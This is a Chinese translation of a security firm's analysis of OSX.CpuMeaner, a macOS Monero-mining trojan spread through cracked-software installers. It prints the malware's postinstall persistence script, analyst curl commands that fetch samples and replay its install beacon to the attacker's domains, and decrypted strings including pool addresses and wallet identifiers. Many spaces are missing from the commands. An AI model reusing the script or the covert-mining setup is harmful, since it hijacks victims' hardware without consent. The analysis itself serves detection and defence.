針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner
本文中,我們分析了一個針對macOS的新型加密貨幣挖礦木馬。該惡意軟體隱藏於下載的盜版應用程式中,並祕密地利用使用者的硬體進行門羅幣(一種加密貨幣)挖礦。
雖然思路與OSX.Pwnet類似,但實現的方法更接近於惡意廣告軟體。
感染
$ curl-svJO http://jumpcash.xyz/download.php-G-d e=pkg-d tag=mosx3-d clickid=2305343-d key="Sketch 47 Crack"
* Trying46.30.45.236...
*Connected to jumpcash.xyz (46.30.45.236) port80(#0)
> GET/download.php?e=pkg&tag=mosx3&clickid=2305343&key=Sketch47Crack HTTP/1.1
> Host: jumpcash.xyz
> User-Agent: curl/7.43.0
> Accept:*/*
>
< HTTP/1.1200OK
< Server: nginx/1.4.6(Ubuntu)
< Date: Tue,14Nov201710:19:17GMT
< Content-Type: application/octet-stream
< Content-Length:169267
< Connection: keep-alive
< X-Powered-By: PHP/5.5.9-1ubuntu4.21
< Content-Description:FileTransfer
< Content-Disposition: attachment; filename=Sketch_47_Crack-2305343-823868397374412531.pkg
< Content-Transfer-Encoding: binary
< Expires:0
< Cache-Control: must-revalidate
< Pragma: public
<
{ [936bytes data]
*Connection#0 to host jumpcash.xyz left intact
$ shasum-a256Sketch_47_Crack-2305343-823868397374412531.pkg
7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 Sketch_47_Crack-2305343-823868397374412531.pkg
目標檔名是使用key和clickid引數生成的。當然,下載的軟體包不包含任何盜版軟體:
在一個假的法文種子站上也發現了該威脅:
一些使用者在Apple論壇上抱怨安裝的可執行檔案xmemapp和cpucooler。 根據VirusTotal,自2017年9月下半月以來,該威脅一直在肆虐,檢測率為0。
軟體包分析
在撰寫本文時,伺服器上有三個軟體包:
$fortaginmosx{1,2,3} ; do curl-s-o $tag.pkg http://jumpcash.xyz/download.php-G-d e=pkg-d tag=$tag ; done
$ shasum-a256mosx*.pkg
d15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9 mosx1.pkg
c3c0da504e40359ce8247b912cbff00cbd32a2222cb53a6bd30f2e44f7781049 mosx2.pkg
7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 mosx3.pkg
它們有同一個開發者證照的簽名:
$ ls mosx*.pkg | xargs-L1pkgutil--check-signature | awk'/Developer ID Installer/'
1.DeveloperIDInstaller: Artur Nurgaliev (DEWCRD3789)
1.DeveloperIDInstaller: Artur Nurgaliev (DEWCRD3789)
1.DeveloperIDInstaller: Artur Nurgaliev (DEWCRD3789)
Apple於2017年11月10日撤銷了該證照:
$ ls mosx*.pkg | xargs-L1spctl--assess-v--typeinstall
mosx1.pkg: CSSMERR_TP_CERT_REVOKED
mosx2.pkg: CSSMERR_TP_CERT_REVOKED
mosx3.pkg: CSSMERR_TP_CERT_REVOKED
帶mosx1標記的軟體包釋放xmemapp,而帶mosx2和mosx3標記的軟體包釋放cpucooler:
$forpkginmosx*.pkg ; do echo $pkg: $(pkgutil--payload-files $pkg | egrep-v-e ^\.$) ; done
mosx1.pkg: ./xmemapp
mosx2.pkg: ./cpucooler
mosx3.pkg: ./cpucooler
有效載荷的雜湊值不同:
$fortaginmosx{1,2,3} ; do pkgutil--expand $tag.pkg $tag && tar xf $tag/Payload-C $tag ; done
$ shasum-a256mosx*/{x,c}*
d196aba4d59b132fc9cd6f6ba627166a8eb6631017636b0ed4df7fd0260524a5 mosx1/xmemapp
47e523a8b796c27b6c0fe91a4781aa7b47c8d66ddb75117d3f3283a6079ff128 mosx2/cpucooler
5c41ab1d3aaa33e021eb73c1a58894df8e679366d2f03663b8f1029a0dc80f26 mosx3/cpucooler
它們沒有程式碼簽名:
$ ls mosx*/{x,c}*| xargs-L1codesign-dvvv
mosx1/xmemapp: codeobjectisnotsigned atall
mosx2/cpucooler: codeobjectisnotsigned atall
mosx3/cpucooler: codeobjectisnotsigned atall
它們的安裝位置不同:
$fortaginmosx{1,2,3}; do echo $tag: $(xmllint--xpath"string(//pkg-info/@install-location)"$tag/PackageInfo) ; done
mosx1:/Library/Application Support/XMemApp
mosx2:/Library/Application Support/CpuCooler
mosx3:/Library/Application Support/CpuCooler
安裝完成後,軟體包將執行postinstall指令碼:
#!/bin/bash
IDENTIFIER="com.osxext.cpucooler"
INSTALL_LOCATION="/Library/Application Support/CpuCooler/cpucooler"
LAUNCH_AGENT_PLIST="/Library/LaunchAgents/$IDENTIFIER.plist"
echo '<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>'$IDENTIFIER'</string>
<key>Program</key>
<string>'$INSTALL_LOCATION'</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>' >"$LAUNCH_AGENT_PLIST"
FILENAME=$(basename"$1")
/bin/launchctl load"$LAUNCH_AGENT_PLIST"
sleep10&& sudo pkill cpucooler
sleep60&&/Library/Application\ Support/CpuCooler/cpucooler"$FILENAME"&
exit
可執行檔案分析
xmemapp和cpucooler是定製版的XMRig2.3.1(一個開源的門羅幣CPU挖礦程式)。
作者新增了一些函式來去混淆一些字串並將反饋傳送給伺服器:
Postback::sendPostback(std::string const&);
Utils::Utils();
Utils::encdec(std::string);
Utils::exec(std::string const&);
Utils::getNumber();
Utils::hex_to_string(std::string const&);
Utils::jenkins_one_at_a_time_hash(std::string, unsignedlong);
Utils::str_replace(std::string, std::string const&, std::string const&);
Utils::~Utils();
main()函式中設定了預設引數。硬編碼的選項有:
Utils::encdec()使用Utils::hex_to_string()解碼十六進位制字串,並異或0x4e解密結果:
$ strings mosx3/cpucooler | egrep-e ^[[:xdigit:]]+$-m5
27213c2b296e633c2a7f6e63397e6e632d6e0f3e3e222b0f060d070a273d250a3c27382b3c6e326e2f39256e69611d2b3c272f226e003b232c2b3c6135293d3b2c666c126c6c626e6c6c626e6a7a67753e3c27203a6e6a7a3369
243b233e2d2f3d2660363734
23213d367d
3d3a3c2f3a3b23653a2d3e74616136233c603e212122602327202b3c292f3a2b602d2123747a7b7b787e
232f3c3a27202439262b2b3a0e232f2722602d2123
$ ../decrypt_strings.py mosx1/xmemapp mosx{2,3}/cpucooler
Decrypted stringsfor: mosx1/xmemapp
ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
jumpcash.xyz
mosx1
stratum+tcp://xmr.pool.minergate.com:45560
jeffguyen@mail.com
Decrypted stringsfor: mosx2/cpucooler
ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
jumpcash.xyz
mosx2
stratum+tcp://xmr.pool.minergate.com:45560
jeffguyen@mail.com
Decrypted stringsfor: mosx3/cpucooler
ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
jumpcash.xyz
mosx3
stratum+tcp://xmr.pool.minergate.com:45560
martinjwheet@mail.com
這些二進位制檔案使用2個執行緒(即200%的CPU)在MinerGate XMR池中為jeffguyen@mail.com(mosx1,mosx2)和martinjwheet@mail.com(mosx3)賬號挖礦。
當使用真正的引數(即通過軟體包postinstall指令碼)執行時,main()會在第一個引數(軟體包名)中查詢一個"-"和一個".",找到後,以子字串作為引數呼叫Postback::sendPostback()函式。
Postback::sendPostback()將安裝資料傳送到解密的域名,當中使用了Utils::getNumber():
$ curl-A MNR-w"%{http_code}"http://jumpcash.xyz/pb.php-G-d t=mosx3-d mid=2162179746-d i=2305343-823868397374412531
200
Utils::getNumber()使用Utils::exec()執行解密的ioreg命令。輸出經過Jenkins的one-at-a-time雜湊演算法計算,並轉換為包含在請求引數中的十進位制表示形式。
諷刺的是,Utils::str_replace()和 Utils::enkins_one_at_a_time_hash()函式沒有被使用(死程式碼)。
MNR2變種
在jumpcash.xyz域名被端掉之後,沒過多長時間在其他網站上就出現了更多的變種,比如這裡和這裡:
$fortaginmosx{2,3,np} ; do curl-s-o $tag.pkg http://storekit.xyz/api/v1/download.php-G-d e=pkg-d tag=$tag ; done
$ shasum-a256*.pkg
b6cbc89d0b5a8938c74c1f601a2b7a88b4a3391bf808d2c028885003a16d9b5a mosx2.pkg
f1da940d6f417ef0001595ed816889ecdcacb41a3d6c921b6e039dc30e35ab8a mosx3.pkg
6e0ec2d6754138b5971f417176136a7becfd75359919a8a5a3b4233aeaade9b3 mosxnp.pkg
軟體包使用了另一個隨後被很快撤銷的開發者證照:
$ ls mosx*.pkg | xargs-L1pkgutil--check-signature | awk'/Developer ID Installer/'
1.DeveloperIDInstaller: Adam Kortney (9ADZ437492)
1.DeveloperIDInstaller: Adam Kortney (9ADZ437492)
1.DeveloperIDInstaller: Adam Kortney (9ADZ437492)
$ ls mosx*.pkg | xargs-L1spctl--assess-v--typeinstall
mosx2.pkg: accepted
source=DeveloperID
mosx3.pkg: accepted
source=DeveloperID
mosxnp.pkg: accepted
source=DeveloperID
Apple於2017年11月22日將該證照撤銷:
可執行檔案具有新的名稱和安裝位置:
$forpkginmosx*.pkg ; do echo $pkg: $(pkgutil--payload-files $pkg | egrep-v-e ^\.$) ; done
mosx2.pkg: ./mxcpu
mosx3.pkg: ./mxzcpu
mosxnp.pkg: ./moszcpu
$fortaginmosx{2,3,np} ; do pkgutil--expand $tag.pkg $tag && tar xf $tag/Payload-C $tag ; done
$ shasum-a256mosx*/m*cpu
91b929d2470e3507b5faf5f12adb35046d96777e8b55b28b8e859a30924168b2 mosx2/mxcpu
b636b2cc15925e68c200449d5d78a9e169af379e4e3b007075ded00d777ffdc7 mosx3/mxzcpu
9a8b16f0a44cd63bf525142519b23481d4dcfd84d2dae02a0b0b9cb5caf1c147 mosxnp/moszcpu
$fortaginmosx{2,3,np}; do echo $tag: $(xmllint--xpath"string(//pkg-info/@install-location)"$tag/PackageInfo) ; done
mosx2:/Library/Application Support/mxcpu
mosx3:/Library/Application Support/mxzcpu
mosxnp:/Library/Application Support/moszcpu
如果計算機已經被舊的變種感染,則軟體包現有的preinstall指令碼會終止感染並顯示錯誤程式碼。
這是新的postinstall指令碼工作流程:
將launchd.plist檔案寫入/Library/LaunchAgents以實現持久化;如果機器已經感染,則退出;將軟體包名寫入/Library/Application Support/mosxnp/info檔案;載入並啟Launch Agent;等待5秒鐘,檢查可執行檔案是否正在執行;如果沒有,在後臺等待30秒,然後執行可執行檔案,並以軟體包名作為引數;向伺服器傳送安裝狀態請求。新的可執行檔案基於XMRig2.4.2。自定義功能是相似的。 main()在/Library/Application Support/mosxnp/info檔案中讀取軟體包名。
它們針對macOS Sierra或更高版本(10.12以上),並會在較低的系統版本上崩潰:
$ uname-v
Darwin Kernel Version15.6.0: Mon Aug2920:21:34PDT2016; root:xnu-3248.60.11~1/RELEASE_X86_64
$ ./mxzcpu
dyld: lazy symbol binding failed: Symbolnotfound: _clock_gettime
Referencedfrom:/Library/Application Support/mxzcpu/./mxzcpu (which was builtforMac OS X10.12)
Expectedin:/usr/lib/libSystem.B.dylib
dyld: Symbolnotfound: _clock_gettime
Referencedfrom:/Library/Application Support/mxzcpu/./mxzcpu (which was builtforMac OS X10.12)
Expectedin:/usr/lib/libSystem.B.dylib
Trace/BPT trap:5
這其實是有道理的,因為macOS Sierra需要支援SSE4的處理器,這樣挖礦更快。
以下是解密的字串:
$ ../decrypt_strings.py mosx*/m*cpu
Decrypted stringsfor: mosx2/mxcpu
storekit.xyz
mosx2
ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
/Library/Application Support/mxcpu/info
stratum+tcp://xmr.pool.minergate.com:45560
jeffguyen@mail.com
Decrypted stringsfor: mosx3/mxzcpu
storekit.xyz
mosx3
ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
/Library/Application Support/mxzcpu/info
stratum+tcp://xmr.pool.minergate.com:45560
martinjwheet@mail.com
Decrypted stringsfor: mosxnp/moszcpu
storekit.xyz
mosxnp
ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'
/Library/Application Support/moszcpu/info
stratum+tcp://xmr-eu1.nanopool.org:14444
49dP6YfhFHmLWb16jESv8V977cYzbx8zCXz6A7gUh1sn65jQ1eQgUpG9qCs2mfNhVW9Jm86RQpDGTHxokFnutubU6HQCeuN.34c5cb2b877d296b3fcfd9c6fb9a5da0c42b044e7fd52372ae5b6cd9bbe6c5c8.
帶mosxnp標記的變種在Nanopool XMR池中挖礦。
Postback::sendPostback()使用User-Agent MNR2將安裝資料傳送到主機storekit.xyz上的URI /api/v1/pb.php。
VirusTotal樣本
在2017年11月中旬,幾個標籤為mosx3和mosxnp的軟體包上傳到了VirusTotal。
他們的可執行檔案cpulite和mosxnp是MNR2的變種,但是postinstall指令碼略有不同。
XMRig依賴庫libuv和libmicrohttpd沒有靜態連結:符號被匯入。 由於動態庫在目標機器(Homebrew路徑)上很可能不存在,因此這些可執行檔案在啟動時可能會崩潰:
$ otool-L mosxnp
mosxnp:
/usr/local/opt/libuv/lib/libuv.1.dylib(compatibility version2.0.0, current version2.0.0)
/usr/local/opt/libmicrohttpd/lib/libmicrohttpd.12.dylib(compatibility version56.0.0, current version56.0.0)
/usr/lib/libc++.1.dylib(compatibility version1.0.0, current version307.4.0)
/usr/lib/libSystem.B.dylib (compatibility version1.0.0, current version1238.0.0)
$ ./mosxnp
dyld: Librarynotloaded:/usr/local/opt/libuv/lib/libuv.1.dylib
Referencedfrom:/Library/Application Support/mosxnp/./mosxnp
Reason: imagenotfound
Abort trap:6
結論
這個OSX.CpuMeaner是新一類攻擊大趨勢的一部分,因為加密貨幣挖礦攻擊已經在Android,PC,Linux伺服器,甚至是帶CoinHive挖礦指令碼的Chrome上出現。實際上,犯罪分子一直在尋找方法來從感染裝置中獲利,儘管加密貨幣挖礦惡意軟體不是傳統的攻擊方式(比如密碼或其他敏感資料洩露、裝置遠端控制等),但是這種攻擊方式回報豐厚,僅僅需要一個小CPU和一些看起來“清白”的網路通訊。
無法100%確定是否這些攻擊永遠是可行的,但只要市場持續爆發,人們被像門羅幣、DASH等貨幣的誘人的投資回報率吸引,我們就會繼續看到這些攻擊的出現。
原文地址:https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/
本文由看雪論壇翻譯小組成員SpearMint翻譯
相關文章
- 竊取加密貨幣的新型木馬:InnfiRAT2019-09-16加密
- Check Point:針對iOS裝置的加密貨幣挖礦攻擊上升近400%2018-10-16iOS加密
- 報告:針對iOS裝置的加密貨幣挖礦攻擊上升近400%2018-10-17iOS加密
- 快速定位挖礦木馬 !2022-03-07
- 新的加密貨幣挖礦病毒感染臉書Messenger2017-12-26加密Messenger
- 亞美尼亞推進加密貨幣挖礦合法化2018-02-15加密
- 比特幣暴漲引發挖礦木馬成倍增長,企業如何衝破“木馬圍城”?2021-01-15比特幣
- 騰訊安全:新型挖礦木馬“快Go礦工”猛攻企業裝置 IT行業成重災區2019-10-17Go行業
- SunLune Jasminer X4- SeDRAM加密貨幣挖礦的封裝2023-09-15ASM加密封裝
- 喬治亞成為歐亞大陸的加密貨幣挖礦中心2018-04-29加密
- 川普政府針對加密貨幣制定“綜合戰略”2018-02-28加密
- 澳大利亞警方就加密貨幣挖礦調查氣象局員工2018-03-09加密
- 用疫情防控思路解決挖礦木馬風險2021-11-02
- 挖礦木馬猖獗,360安全衛士破解“黑礦工”之困2021-12-07
- 烏克蘭官員建議對挖礦和加密貨幣進行分別管理2018-02-22加密
- 谷歌聯合創始人強調加密貨幣挖礦的影響2018-05-02谷歌加密
- 中國加密貨幣挖礦公司計劃在國外申請IPO2018-04-09加密
- 俄羅斯政府針對加密貨幣草案提出修改意見2018-04-30加密
- 小心Android加密貨幣雲挖礦服務!詐騙App已氾濫2021-07-12Android加密APP
- 支援雙系統挖礦,警惕新型挖礦病毒入侵2021-07-23
- 騰訊安全:2017年度網際網路安全報告 “炒幣”致挖礦木馬盛行2018-01-21
- 比特幣挖礦龍頭企業位元大陸可能將出售加密貨幣部門2018-08-15比特幣加密
- GMO Internet暫定八月推出加密貨幣雲挖礦服務2018-02-14加密
- 澳大利亞徵求公眾對加密貨幣指導方針的意見2018-03-28加密
- SEC對加密貨幣採礦公司Blockchain Riot進行調查2018-08-18加密Blockchain
- 伺服器被挖礦木馬攻擊該怎麼處理2019-02-12伺服器
- 卡巴斯基:Lazarus黑客組織開發針對加密貨幣交易所的MacOS惡意軟體2018-08-30黑客加密Mac
- 奧地利計劃針對加密貨幣與ICO實施監管2018-03-03加密
- 微軟:加密貨幣挖礦類惡意軟體 已成為一項增長的威脅2018-03-16微軟加密
- 比特幣CPU挖礦、GPU挖礦、礦池及礦機挖礦技術原理2018-05-17比特幣GPU
- 遊戲私服捆綁傳播挖礦木馬,已感染超5000臺電腦2020-05-21遊戲
- 《2020挖礦木馬年度報告》:挖礦團伙勾結殭屍網路日趨多見2021-03-05
- 新型Windows惡意軟體正在針對Linux、macOS裝置2020-12-16WindowsLinuxMac
- 漢化遠控木馬下發挖礦程式,利用肉雞資源撈金2020-05-14
- Linux挖礦木馬WorkMiner集中爆發,利用SSH暴力破解傳播2021-08-18Linux
- 澳大利亞稅務局使用國際資料協議針對加密貨幣交易者2018-07-09協議加密
- 利用WMI命令入侵挖礦,新型挖礦病毒Audliodg持續活躍中2021-09-04
- WireShark駭客發現之旅(8)—針對路由器的Linux木馬2020-08-19路由器Linux